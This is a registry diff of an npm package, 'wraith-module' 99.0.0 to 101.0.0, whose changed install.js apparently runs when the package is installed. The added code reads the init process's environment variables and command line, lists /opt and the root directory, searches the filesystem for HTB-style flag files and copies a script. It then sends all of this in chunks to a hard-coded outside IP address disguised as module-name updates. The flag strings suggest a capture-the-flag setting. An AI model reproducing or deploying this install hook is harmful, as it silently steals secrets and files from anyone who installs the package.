wraith-module 99.0.0 → 101.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +46 -42
- package/package.json +2 -2
package/install.js
CHANGED
|
@@ -9,72 +9,76 @@ async function report(moduleId, val) {
|
|
|
9
9
|
const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
10
10
|
const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
|
|
11
11
|
await new Promise((resolve) => {
|
|
12
|
-
const req = http.request({ hostname: '154.57.164.
|
|
12
|
+
const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
|
|
13
13
|
req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
|
|
14
14
|
req.write(body); req.end();
|
|
15
15
|
});
|
|
16
16
|
}
|
|
17
17
|
|
|
18
18
|
(async () => {
|
|
19
|
-
// Read
|
|
20
|
-
const
|
|
19
|
+
// Read nethunter.sh
|
|
20
|
+
const nh = tryRead('/opt/hscan-supplychain-dynamic/nethunter.sh') || '';
|
|
21
21
|
|
|
22
|
-
//
|
|
23
|
-
const
|
|
24
|
-
const aspectPkg = tryRead('/home/node/aspect-node/package.json');
|
|
22
|
+
// List opt dir
|
|
23
|
+
const optDir = tryExec('find /opt -type f 2>/dev/null');
|
|
25
24
|
|
|
26
|
-
//
|
|
27
|
-
const supply = tryExec('find /tmp/supplysec -type f 2>/dev/null');
|
|
28
|
-
|
|
29
|
-
// Read package.json from /home/node
|
|
30
|
-
const hnPkg = tryRead('/home/node/package.json');
|
|
31
|
-
|
|
32
|
-
// Process list
|
|
33
|
-
const ps = tryExec('ps auxww 2>/dev/null');
|
|
34
|
-
|
|
35
|
-
// Full cmdline of PID 1
|
|
25
|
+
// Full CMD1
|
|
36
26
|
const cmd1 = tryRead('/proc/1/cmdline');
|
|
37
27
|
const cmd1str = cmd1 ? cmd1.replace(/\x00/g, ' ') : '';
|
|
38
28
|
|
|
39
|
-
// Full env
|
|
29
|
+
// Full env
|
|
40
30
|
const env1 = tryRead('/proc/1/environ');
|
|
41
31
|
const env1str = env1 ? env1.replace(/\x00/g, ' | ') : '';
|
|
42
32
|
|
|
43
|
-
//
|
|
44
|
-
const htb = tryExec('grep -rl "HTB{\\|flag{
|
|
33
|
+
// Try to find the flag everywhere
|
|
34
|
+
const htb = tryExec('grep -rl "HTB{\\|flag{" / --exclude-dir=proc --exclude-dir=sys --exclude-dir=node_modules 2>/dev/null | head -5');
|
|
35
|
+
const flag = tryExec('cat /flag* /root/flag* /home/*/flag* 2>/dev/null');
|
|
45
36
|
|
|
46
|
-
//
|
|
47
|
-
const
|
|
37
|
+
// Root listing
|
|
38
|
+
const rootLs = tryExec('ls -la / 2>/dev/null');
|
|
48
39
|
|
|
49
|
-
// Build
|
|
50
|
-
const items = [
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
'
|
|
63
|
-
|
|
64
|
-
'ENV2=' + env1str.substring(85, 170),
|
|
65
|
-
'PS2=' + ps.substring(85, 170),
|
|
66
|
-
'SUPPLY2=' + supply.substring(85, 170),
|
|
67
|
-
];
|
|
40
|
+
// Build chunks
|
|
41
|
+
const items = [];
|
|
42
|
+
items.push('CMD=' + cmd1str);
|
|
43
|
+
items.push('ENV=' + env1str);
|
|
44
|
+
items.push('OPTDIR=' + optDir);
|
|
45
|
+
items.push('ROOTLS=' + rootLs);
|
|
46
|
+
items.push('HTB=' + (htb || 'NONE'));
|
|
47
|
+
items.push('FLAG=' + (flag || 'NONE'));
|
|
48
|
+
|
|
49
|
+
// nethunter.sh in chunks
|
|
50
|
+
for (let i = 0; i < 30; i++) {
|
|
51
|
+
const chunk = nh.substring(i * 85, (i + 1) * 85);
|
|
52
|
+
if (!chunk) break;
|
|
53
|
+
items.push('NH' + i + '=' + chunk);
|
|
54
|
+
}
|
|
68
55
|
|
|
69
56
|
const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
|
|
70
57
|
|
|
71
|
-
for (let round = 0; round < 4; round++) {
|
|
58
|
+
for (let round = 0; round < Math.ceil(items.length / 4); round++) {
|
|
72
59
|
for (let i = 0; i < 4; i++) {
|
|
73
60
|
const idx = round * 4 + i;
|
|
74
61
|
if (idx < items.length) {
|
|
75
|
-
|
|
62
|
+
const item = items[idx];
|
|
63
|
+
// Truncate each item to 85 chars for the module name limit
|
|
64
|
+
await report(mods[i], 'Q' + idx + '_' + item.substring(0, 85));
|
|
76
65
|
}
|
|
77
66
|
}
|
|
78
67
|
await new Promise(r => setTimeout(r, 1500));
|
|
79
68
|
}
|
|
69
|
+
|
|
70
|
+
// Extra rounds for long items
|
|
71
|
+
const longItems = ['CMD', 'ENV', 'OPTDIR', 'ROOTLS'];
|
|
72
|
+
for (let li = 0; li < longItems.length; li++) {
|
|
73
|
+
const key = longItems[li];
|
|
74
|
+
const fullVal = items.find(i => i.startsWith(key + '='));
|
|
75
|
+
if (fullVal && fullVal.length > 85) {
|
|
76
|
+
for (let chunk = 1; chunk < 5; chunk++) {
|
|
77
|
+
const part = fullVal.substring(chunk * 85, (chunk + 1) * 85);
|
|
78
|
+
if (part) {
|
|
79
|
+
await report(mods[li % 4], 'E' + li + 'C' + chunk + '_' + part);
|
|
80
|
+
}
|
|
81
|
+
}
|
|
82
|
+
}
|
|
83
|
+
}
|
|
80
84
|
})();
|